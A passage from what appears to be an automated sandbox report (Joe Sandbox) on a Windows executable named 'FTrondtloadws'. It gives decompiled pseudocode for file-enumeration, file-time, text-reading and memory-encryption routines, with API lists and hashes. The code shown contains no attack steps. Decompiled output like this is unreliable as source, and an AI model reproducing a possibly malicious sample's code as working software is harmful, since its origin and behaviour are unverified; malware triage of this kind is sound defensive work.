				void* _t222;
				void* _t223;
				signed int _t224;
				void* _t225;
				void* _t226;

				_t80 = _a8;
				_t222 = _t221 - 0x20;
				if(_t80 != 0) {
					_t206 = _a4;
					_t159 = 0;
					 *_t80 = 0;
					_t197 = 0;
					_t150 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t206;
					if( *_t206 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t150 - _t197;
						_v8 = _t159;
						_t190 = (_t82 >> 2) + 1;
						__eflags = _t150 - _t197;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t208 =  !_t206 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t208;
						if(_t208 != 0) {
							_t195 = _t197;
							_t157 = _t159;
							do {
								_t183 =  *_t195;
								_t17 = _t183 + 1; // 0x1
								_v8 = _t17;
								do {
									_t142 =  *_t183;
									_t183 = _t183 + 1;
									__eflags = _t142;
								} while (_t142 != 0);
								_t157 = _t157 + 1 + _t183 - _v8;
								_t195 = _t195 + 4;
								_t144 = _v12 + 1;
								_v12 = _t144;
								__eflags = _t144 - _t208;
							} while (_t144 != _t208);
							_t190 = _v16;
							_v8 = _t157;
							_t150 = _v336.cAlternateFileName;
						}
						_t209 = E00CE9419(_t190, _v8, 1);
						_t223 = _t222 + 0xc;
						__eflags = _t209;
						if(_t209 != 0) {
							_t87 = _t209 + _v16 * 4;
							_v20 = _t87;
							_t191 = _t87;
							_v16 = _t87;
							__eflags = _t197 - _t150;
							if(_t197 == _t150) {
								L23:
								_t198 = 0;
								__eflags = 0;
								 *_a8 = _t209;
								goto L24;
							} else {
								_t93 = _t209 - _t197;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t162 =  *_t197;
									_v12 = _t162 + 1;
									do {
										_t95 =  *_t162;
										_t162 = _t162 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t163 = _t162 - _v12;
									_t35 = _t163 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E00CF0111(_t163, _t191, _v20 - _t191 + _v8,  *_t197);
									_t223 = _t223 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E00CE5036();
										asm("int3");
										_t219 = _t223;
										_push(_t163);
										_t164 = _v64;
										_t47 = _t164 + 1; // 0x1
										_t192 = _t47;
										do {
											_t103 =  *_t164;
											_t164 = _t164 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t197);
										_t200 = _a8;
										_t166 = _t164 - _t192 + 1;
										_v12 = _t166;
										__eflags = _t166 - (_t103 | 0xffffffff) - _t200;
										if(_t166 <= (_t103 | 0xffffffff) - _t200) {
											_push(_t150);
											_t50 = _t200 + 1; // 0x1
											_t153 = _t50 + _t166;
											_t211 = E00CEC146(_t166, _t153, 1);
											_t168 = _t209;
											__eflags = _t200;
											if(_t200 == 0) {
												L34:
												_push(_v12);
												_t153 = _t153 - _t200;
												_t108 = E00CF0111(_t168, _t211 + _t200, _t153, _v0);
												_t224 = _t223 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t136 = E00CEC597(_a12, _t192, __eflags, _t211);
													E00CEA4BA(0);
													_t138 = _t136;
													goto L36;
												}
											} else {
												_push(_t200);
												_t139 = E00CF0111(_t168, _t211, _t153, _a4);
												_t224 = _t223 + 0x10;
												__eflags = _t139;
												if(_t139 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E00CE5036();
													asm("int3");
													_push(_t219);
													_t220 = _t224;
													_t225 = _t224 - 0x150;
													_t111 =  *0xd007a8; // 0x763902cb
													_v116 = _t111 ^ _t220;
													_t169 = _v100;
													_push(_t153);
													_t154 = _v104;
													_push(_t211);
													_t212 = _v96;
													_push(_t200);
													_v440 = _t212;
													while(1) {
														__eflags = _t169 - _t154;
														if(_t169 == _t154) {
															break;
														}
														_t113 =  *_t169;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t169 = E00CF0160(_t154, _t169);
																	continue;
																}
															}
														}
														break;
													}
													_t193 =  *_t169;
													__eflags = _t193 - 0x3a;
													if(_t193 != 0x3a) {
														L47:
														_t201 = 0;
														__eflags = _t193 - 0x2f;
														if(_t193 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t193 - 0x5c;
															if(_t193 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t193 - 0x3a;
																if(_t193 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t169 - _t154 + 0x00000001;
														E00CE1000(_t201,  &_v336, _t201, 0x140);
														_t226 = _t225 + 0xc;
														_t213 = FindFirstFileExA(_t154, _t201,  &_v336, _t201, _t201, _t201);
														_t123 = _v340;
														__eflags = _t213 - 0xffffffff;
														if(_t213 != 0xffffffff) {
															_t173 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t173;
															_v348 = _t173 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t154);
																	_push(_t123);
																	L28();
																	_t226 = _t226 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t177 = _v291;
																	__eflags = _t177;
																	if(_t177 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t177 - 0x2e;
																		if(_t177 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t213,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t193 =  *_t123;
															_t178 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t178 - _t131;
															if(_t178 != _t131) {
																E00CE7580(_t154, _t193 + _t178 * 4, _t131 - _t178, 4, E00CEC1B0);
															}
														} else {
															_push(_t123);
															_push(_t201);
															_push(_t201);
															_push(_t154);
															L28();
															L54:
															_t201 = _t123;
														}
														__eflags = _t213 - 0xffffffff;
														if(_t213 != 0xffffffff) {
															FindClose(_t213);
														}
														_t124 = _t201;
													} else {
														_t124 =  &(_t154[1]);
														__eflags = _t169 -  &(_t154[1]);
														if(_t169 ==  &(_t154[1])) {
															goto L47;
														} else {
															_push(_t212);
															_push(0);
															_push(0);
															_push(_t154);
															L28();
														}
													}
													L58:
													_pop(_t202);
													_pop(_t214);
													__eflags = _v16 ^ _t220;
													_pop(_t155);
													return E00CE0BCC(_t124, _t155, _v16 ^ _t220, _t193, _t202, _t214);
												} else {
													goto L34;
												}
											}
										} else {
											_t138 = 0xc;
											L36:
											return _t138;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t194 = _v16;
									 *((intOrPtr*)(_v24 + _t197)) = _t194;
									_t197 = _t197 + 4;
									_t191 = _t194 + _v12;
									_v16 = _t194 + _v12;
									__eflags = _t197 - _t150;
								} while (_t197 != _t150);
								goto L23;
							}
						} else {
							_t198 = _t197 | 0xffffffff;
							L24:
							E00CEA4BA(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t159;
							_t146 = E00CF0120( *_t206,  &_v8);
							__eflags = _t146;
							if(_t146 != 0) {
								_push( &_v36);
								_push(_t146);
								_push( *_t206);
								L38();
								_t222 = _t222 + 0xc;
							} else {
								_t146 =  &_v36;
								_push(_t146);
								_push(0);
								_push(0);
								_push( *_t206);
								L28();
								_t222 = _t222 + 0x10;
							}
							_t198 = _t146;
							__eflags = _t198;
							if(_t198 != 0) {
								break;
							}
							_t206 = _t206 + 4;
							_t159 = 0;
							__eflags =  *_t206;
							if( *_t206 != 0) {
								continue;
							} else {
								_t150 = _v336.cAlternateFileName;
								_t197 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E00CEC572( &_v36);
						_t91 = _t198;
						goto L26;
					}
				} else {
					_t147 = E00CEA63B();
					_t217 = 0x16;
					 *_t147 = _t217;
					E00CE5009();
					_t91 = _t217;
					L26:
					return _t91;
				}
				L68:
			}

0x00cec1cd
0x00cec1d0
0x00cec1d6
0x00cec1ee
0x00cec1f1
0x00cec1f5
0x00cec1f7
0x00cec1f9
0x00cec1fb
0x00cec1fe
0x00cec201
0x00cec204
0x00cec206
0x00cec25e
0x00cec25e
0x00cec264
0x00cec266
0x00cec271
0x00cec275
0x00cec277
0x00cec27a
0x00cec27e
0x00cec27e
0x00cec280
0x00cec282
0x00cec284
0x00cec286
0x00cec286
0x00cec288
0x00cec28b
0x00cec28e
0x00cec28e
0x00cec290
0x00cec291
0x00cec291
0x00cec29c
0x00cec29e
0x00cec2a1
0x00cec2a2
0x00cec2a5
0x00cec2a5
0x00cec2a9
0x00cec2ac
0x00cec2af
0x00cec2af
0x00cec2bd
0x00cec2bf
0x00cec2c2
0x00cec2c4
0x00cec2ce
0x00cec2d1
0x00cec2d4
0x00cec2d6
0x00cec2d9
0x00cec2db
0x00cec32b
0x00cec32e
0x00cec32e
0x00cec330
0x00000000
0x00cec2dd
0x00cec2df
0x00cec2df
0x00cec2e1
0x00cec2e4
0x00cec2e4
0x00cec2e9
0x00cec2ec
0x00cec2ec
0x00cec2ee
0x00cec2ef
0x00cec2ef
0x00cec2f3
0x00cec2f6
0x00cec2f6
0x00cec2f9
0x00cec2fc
0x00cec309
0x00cec30e
0x00cec311
0x00cec313
0x00cec34d
0x00cec34e
0x00cec34f
0x00cec350
0x00cec351
0x00cec352
0x00cec357
0x00cec35b
0x00cec35d
0x00cec35e
0x00cec361
0x00cec361
0x00cec364
0x00cec364
0x00cec366
0x00cec367
0x00cec367
0x00cec370
0x00cec371
0x00cec374
0x00cec377
0x00cec37a
0x00cec37c
0x00cec383
0x00cec385
0x00cec388
0x00cec392
0x00cec395
0x00cec396
0x00cec398
0x00cec3ac
0x00cec3ac
0x00cec3af
0x00cec3b9
0x00cec3be
0x00cec3c1
0x00cec3c3
0x00000000
0x00cec3c5
0x00cec3c9
0x00cec3d2
0x00cec3d8
0x00000000
0x00cec3db
0x00cec39a
0x00cec39a
0x00cec3a0
0x00cec3a5
0x00cec3a8
0x00cec3aa
0x00cec3e1
0x00cec3e3
0x00cec3e4
0x00cec3e5
0x00cec3e6
0x00cec3e7
0x00cec3e8
0x00cec3ed
0x00cec3f0
0x00cec3f1
0x00cec3f3
0x00cec3f9
0x00cec400
0x00cec403
0x00cec406
0x00cec407
0x00cec40a
0x00cec40b
0x00cec40e
0x00cec40f
0x00cec430
0x00cec430
0x00cec432
0x00000000
0x00000000
0x00cec417
0x00cec419
0x00cec41b
0x00cec41d
0x00cec41f
0x00cec421
0x00cec423
0x00cec42e
0x00000000
0x00cec42e
0x00cec423
0x00cec41f
0x00000000
0x00cec41b
0x00cec434
0x00cec436
0x00cec439
0x00cec452
0x00cec452
0x00cec454
0x00cec457
0x00cec467
0x00cec469
0x00cec469
0x00cec459
0x00cec459
0x00cec45c
0x00000000
0x00cec45e
0x00cec45e
0x00cec461
0x00000000
0x00cec463
0x00cec463
0x00cec463
0x00cec461
0x00cec45c
0x00cec477
0x00cec47b
0x00cec489
0x00cec48e
0x00cec4a3
0x00cec4a5
0x00cec4ab
0x00cec4ae
0x00cec4e0
0x00cec4e0
0x00cec4e5
0x00cec4eb
0x00cec4eb
0x00cec4f2
0x00cec50c
0x00cec50c
0x00cec50d
0x00cec513
0x00cec519
0x00cec51a
0x00cec51b
0x00cec520
0x00cec523
0x00cec525
0x00000000
0x00000000
0x00000000
0x00000000
0x00cec4f4
0x00cec4f4
0x00cec4fa
0x00cec4fc
0x00000000
0x00cec4fe
0x00cec4fe
0x00cec501
0x00000000
0x00cec503
0x00cec503
0x00cec50a
0x00000000
0x00000000
0x00000000
0x00000000
0x00cec50a
0x00cec501
0x00cec4fc
0x00000000
0x00cec527
0x00cec52f
0x00cec535
0x00cec537
0x00cec537
0x00cec53f
0x00cec544
0x00cec54c
0x00cec54f
0x00cec551
0x00cec565
0x00cec56a
0x00cec4b0
0x00cec4b0
0x00cec4b1
0x00cec4b2
0x00cec4b3
0x00cec4b4
0x00cec4bc
0x00cec4bc
0x00cec4bc
0x00cec4be
0x00cec4c1
0x00cec4c4
0x00cec4c4
0x00cec4ca
0x00cec43b
0x00cec43b
0x00cec43e
0x00cec440
0x00000000
0x00cec442
0x00cec442
0x00cec445
0x00cec446
0x00cec447
0x00cec448
0x00cec44d
0x00cec440
0x00cec4cc
0x00cec4cf
0x00cec4d0
0x00cec4d1
0x00cec4d3
0x00cec4dc
0x00000000
0x00000000
0x00000000
0x00cec3aa
0x00cec37e
0x00cec380
0x00cec3dc
0x00cec3e0
0x00cec3e0
0x00000000
0x00000000
0x00000000
0x00000000
0x00cec315
0x00cec318
0x00cec31b
0x00cec31e
0x00cec321
0x00cec324
0x00cec327
0x00cec327
0x00000000
0x00cec2e4
0x00cec2c6
0x00cec2c6
0x00cec332
0x00cec334
0x00000000
0x00cec339
0x00cec208
0x00cec208
0x00cec20b
0x00cec214
0x00cec217
0x00cec21e
0x00cec220
0x00cec239
0x00cec23a
0x00cec23b
0x00cec23d
0x00cec242
0x00cec222
0x00cec222
0x00cec225
0x00cec226
0x00cec228
0x00cec22a
0x00cec22c
0x00cec231
0x00cec231
0x00cec245
0x00cec247
0x00cec249
0x00000000
0x00000000
0x00cec24f
0x00cec252
0x00cec254
0x00cec256
0x00000000
0x00cec258
0x00cec258
0x00cec25b
0x00000000
0x00cec25b
0x00000000
0x00cec256
0x00cec33a
0x00cec33d
0x00cec342
0x00000000
0x00cec345
0x00cec1d8
0x00cec1d8
0x00cec1df
0x00cec1e0
0x00cec1e2
0x00cec1e7
0x00cec346
0x00cec34a
0x00cec34a
0x00000000

APIs

_free.LIBCMT ref: 00CEC334

Part of subcall function 00CE5036: IsProcessorFeaturePresent.KERNEL32(00000017,00CE5008,00000000,00CE9FB4,00000000,00000000,00000000,00000016,?,?,00CE5015,00000000,00000000,00000000,00000000,00000000), ref: 00CE5038
Part of subcall function 00CE5036: GetCurrentProcess.KERNEL32(C0000417,00CE9FB4,00000000,?,00000003,00CEA3E8), ref: 00CE505A
Part of subcall function 00CE5036: TerminateProcess.KERNEL32(00000000,?,00000003,00CEA3E8), ref: 00CE5061

Strings

*?, xrefs: 00CEC20B
., xrefs: 00CEC4EB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: d880ea29d1525385f5bc4d26a230f40480b8b7b7c38aab8f8975374564cc868a
Instruction ID: d8da6aa24918afa65aaa9c43d58b5946139a352fd3d44cdd28604b0be1778f28
Opcode Fuzzy Hash: d880ea29d1525385f5bc4d26a230f40480b8b7b7c38aab8f8975374564cc868a
Instruction Fuzzy Hash: 5651B271E00249EFDF14CFAAC8C1AADB7B5FF58314F24816AE954E7341E635AE029B50

Uniqueness

Uniqueness Score: -1.00%

Function 00CC809E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138
timeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00CC809E(void* __ecx) {
				void* __esi;
				char _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				signed int _t88;
				void* _t93;
				void* _t103;
				intOrPtr* _t108;
				void* _t110;

				E00CDFD4C(0xcf386a, _t110);
				E00CDFE20(0x6110);
				_t108 =  *((intOrPtr*)(_t110 + 0xc));
				if( *_t108 == 0) {
					L3:
					_t103 = 0x802;
					E00CD1908(_t110 - 0x1014, _t108, 0x802);
					L4:
					_t84 =  *((intOrPtr*)(_t110 + 8));
					E00CC82D1(_t108,  *((intOrPtr*)(_t110 + 8)), _t110 - 0x409c, 0x800);
					if( *((short*)(_t110 - 0x409c)) == 0x3a) {
						__eflags =  *((char*)(_t110 + 0x10));
						if(__eflags == 0) {
							E00CD18E0(__eflags, _t110 - 0x1014, _t110 - 0x409c, _t103);
							E00CC79C5(_t110 - 0x309c);
							_push(0);
							_t56 = E00CCB946(_t110 - 0x309c, __eflags, _t108, _t110 - 0x309c);
							_t88 =  *(_t110 - 0x2094);
							 *((char*)(_t110 - 0xd)) = _t56;
							__eflags = _t88 & 0x00000001;
							if((_t88 & 0x00000001) != 0) {
								__eflags = _t88 & 0xfffffffe;
								E00CCB8C6(_t108, _t88 & 0xfffffffe);
							}
							E00CCA79B(_t110 - 0x2054);
							 *((intOrPtr*)(_t110 - 4)) = 1;
							_t59 = E00CCB18A(_t110 - 0x2054, __eflags, _t110 - 0x1014, 0x11);
							__eflags = _t59;
							if(_t59 != 0) {
								_push(0);
								_push(_t110 - 0x2054);
								_push(0);
								_t70 = E00CC42DA(_t84);
								__eflags = _t70;
								if(_t70 != 0) {
									E00CCA860(_t110 - 0x2054);
								}
							}
							E00CCA79B(_t110 - 0x50dc);
							__eflags =  *((char*)(_t110 - 0xd));
							 *((char*)(_t110 - 4)) = 2;
							if( *((char*)(_t110 - 0xd)) != 0) {
								_t64 = E00CCAB20(_t110 - 0x50dc, _t108, _t108, 5);
								__eflags = _t64;
								if(_t64 != 0) {
									SetFileTime( *(_t110 - 0x50d4), _t110 - 0x2074, _t110 - 0x206c, _t110 - 0x2064);
								}
							}
							E00CCB8C6(_t108,  *(_t110 - 0x2094));
							E00CCA7DF(_t110 - 0x50dc);
							_t93 = _t110 - 0x2054;
						} else {
							E00CCA79B(_t110 - 0x611c);
							_push(1);
							_push(_t110 - 0x611c);
							_push(0);
							 *((intOrPtr*)(_t110 - 4)) = 0;
							E00CC42DA(_t84);
							_t93 = _t110 - 0x611c;
						}
						_t63 = E00CCA7DF(_t93);
					} else {
						E00CC7976(0x53, _t84 + 0x32, _t110 + 0xc);
						_t63 = E00CC7809(0xd030c4, 3);
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t110 - 0xc));
					return _t63;
				}
				_t114 =  *((intOrPtr*)(_t108 + 2));
				if( *((intOrPtr*)(_t108 + 2)) != 0) {
					goto L3;
				} else {
					_t103 = 0x802;
					E00CD1908(_t110 - 0x1014, 0xcf4804, 0x802);
					E00CD18E0(_t114, _t110 - 0x1014, _t108, 0x802);
					goto L4;
				}
			}

0x00cc80a3
0x00cc80ad
0x00cc80b4
0x00cc80bd
0x00cc80ec
0x00cc80ec
0x00cc80fa
0x00cc80ff
0x00cc80ff
0x00cc810f
0x00cc811c
0x00cc813e
0x00cc8142
0x00cc817f
0x00cc818a
0x00cc8197
0x00cc819a
0x00cc819f
0x00cc81a5
0x00cc81a8
0x00cc81ab
0x00cc81ad
0x00cc81b2
0x00cc81b2
0x00cc81bd
0x00cc81ca
0x00cc81d8
0x00cc81dd
0x00cc81df
0x00cc81e1
0x00cc81ea
0x00cc81eb
0x00cc81ec
0x00cc81f1
0x00cc81f3
0x00cc81fb
0x00cc81fb
0x00cc81f3
0x00cc8206
0x00cc820b
0x00cc820f
0x00cc8213
0x00cc821e
0x00cc8223
0x00cc8225
0x00cc8242
0x00cc8242
0x00cc8225
0x00cc824f
0x00cc825a
0x00cc825f
0x00cc8144
0x00cc814a
0x00cc814f
0x00cc8159
0x00cc815a
0x00cc815d
0x00cc8160
0x00cc8165
0x00cc8165
0x00cc8265
0x00cc811e
0x00cc8128
0x00cc8134
0x00cc8134
0x00cc8270
0x00cc8278
0x00cc8278
0x00cc80bf
0x00cc80c3
0x00000000
0x00cc80c5
0x00cc80c5
0x00cc80d7
0x00cc80e5
0x00000000
0x00cc80e5

APIs

__EH_prolog.LIBCMT ref: 00CC80A3

Part of subcall function 00CD18E0: _wcslen.LIBCMT ref: 00CD18E6

Part of subcall function 00CCB946: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCB971

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CC8242

Part of subcall function 00CCB8C6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB8DA
Part of subcall function 00CCB8C6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB90B

Strings

:, xrefs: 00CC8114

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: ec321c788a0d9c3dd3dd89ea3bdd6431e3d4da5f15c734d75e5cacf1be6d4ee1
Instruction ID: 9343cf8fa497e755ea005c29c81b0936be9903e488052529321f42df842b0087
Opcode Fuzzy Hash: ec321c788a0d9c3dd3dd89ea3bdd6431e3d4da5f15c734d75e5cacf1be6d4ee1
Instruction Fuzzy Hash: 7C516371900258AADB25EB60CC5AFEF737DAF45300F0440DAF605A6182DB745F89DF61

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC51E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E00CDC51E(void* __ecx, void* __edx, void* __eflags, char _a3, char _a4, char _a7, char _a8, intOrPtr* _a8200) {
				void* __edi;
				void* __ebp;
				intOrPtr _t20;
				short* _t31;
				intOrPtr* _t33;
				signed int _t41;
				intOrPtr* _t42;
				void* _t44;

				E00CDFE20(0x2004);
				_push(0x80000);
				_t42 = E00CE73B6(__ecx);
				if(_t42 == 0) {
					E00CC773A(0xd030c4);
				}
				_t33 = _a8200;
				 *_t42 = 0;
				_t41 = 0;
				while(1) {
					_push(0x1000);
					_push( &_a3);
					_push(0);
					_push(0);
					_push( &_a4);
					_push( *_t33);
					_t20 = E00CDC3A4(_t41, 0);
					 *_t33 = _t20;
					if(_t20 == 0) {
						break;
					}
					if( *_t42 != 0 || _a8 != 0x7b) {
						if(_a8 == 0x7d || E00CE4DF3( &_a8) + _t41 > 0x3fffb) {
							break;
						} else {
							E00CE88C9(_t42,  &_a8);
							_t41 = E00CE4DF3(_t42);
							_t44 = _t44 + 0xc;
							if(_t41 == 0) {
								L11:
								if(_a7 == 0) {
									E00CE7296(_t42 + _t41 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t41 - 1; // -1
							_t31 = _t42 + _t6 * 2;
							while( *_t31 == 0x20) {
								_t31 = _t31 - 2;
								_t41 = _t41 - 1;
								if(_t41 != 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x00cdc523
0x00cdc52c
0x00cdc536
0x00cdc53b
0x00cdc542
0x00cdc542
0x00cdc547
0x00cdc552
0x00cdc555
0x00cdc5c7
0x00cdc5c7
0x00cdc5d0
0x00cdc5d1
0x00cdc5d2
0x00cdc5d7
0x00cdc5d8
0x00cdc5da
0x00cdc5df
0x00cdc5e3
0x00000000
0x00000000
0x00cdc55c
0x00cdc56c
0x00000000
0x00cdc582
0x00cdc588
0x00cdc593
0x00cdc595
0x00cdc59a
0x00cdc5b0
0x00cdc5b5
0x00cdc5c0
0x00cdc5c6
0x00000000
0x00cdc5b5
0x00cdc59c
0x00cdc59f
0x00cdc5a2
0x00cdc5a8
0x00cdc5ab
0x00cdc5ae
0x00000000
0x00000000
0x00000000
0x00cdc5ae
0x00000000
0x00cdc5a2
0x00000000
0x00000000
0x00000000
0x00cdc55c
0x00cdc5f5

APIs

_wcslen.LIBCMT ref: 00CDC573
_wcslen.LIBCMT ref: 00CDC58E

Strings

}, xrefs: 00CDC566

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 42e0bd44c1f66778b9fc0d713e4a1e298db02d31199389a0c69c611b68f3d847
Instruction ID: 1c23ca57e31fedd7a9ba9069ae2f05618561616b7e2bfc462f2e6b70ba6d2531
Opcode Fuzzy Hash: 42e0bd44c1f66778b9fc0d713e4a1e298db02d31199389a0c69c611b68f3d847
Instruction Fuzzy Hash: 9F21CD625083075AD731EB65E885BABB3ECDF81750F00052BF744C2281FA60EA48E3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00CD0675 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CD0600: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CD061F
Part of subcall function 00CD0600: GetProcAddress.KERNEL32(00D0A1F0,CryptUnprotectMemory), ref: 00CD062F

GetCurrentProcessId.KERNEL32(?,00000200,?,00CD0670), ref: 00CD0703

Strings

CryptProtectMemory failed, xrefs: 00CD06BA
CryptUnprotectMemory failed, xrefs: 00CD06FB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 6d34b458d0794c91798acc4a244b1cff273c79f970b3d7b16b920e82c6289538
Instruction ID: c68236c0191c566bbdc9be9460567d9954c432a22286a07dff6b72b0d39e3671
Opcode Fuzzy Hash: 6d34b458d0794c91798acc4a244b1cff273c79f970b3d7b16b920e82c6289538
Instruction Fuzzy Hash: 731106319007246BDB155F39DC41B7F3B24EB40764F16411BFE155F392DB30AE828A96

Uniqueness

Uniqueness Score: -1.00%

Function 00CCCDA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00CCCDA0(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				short _t13;
				signed int _t14;
				short* _t19;
				signed int _t20;
				signed short* _t26;
				signed int _t28;
				signed int _t30;

				_t19 = _a8;
				_t26 = _a4;
				 *_t19 = 0;
				_t10 = E00CCD0A7(__eflags, _t26);
				_t20 =  *_t26 & 0x0000ffff;
				if(_t10 != 0) {
					return E00CC4A00(_t19, _a12, L"%c:\\", _t20);
				}
				_t28 = 0x5c;
				__eflags = _t20 - _t28;
				if(_t20 == _t28) {
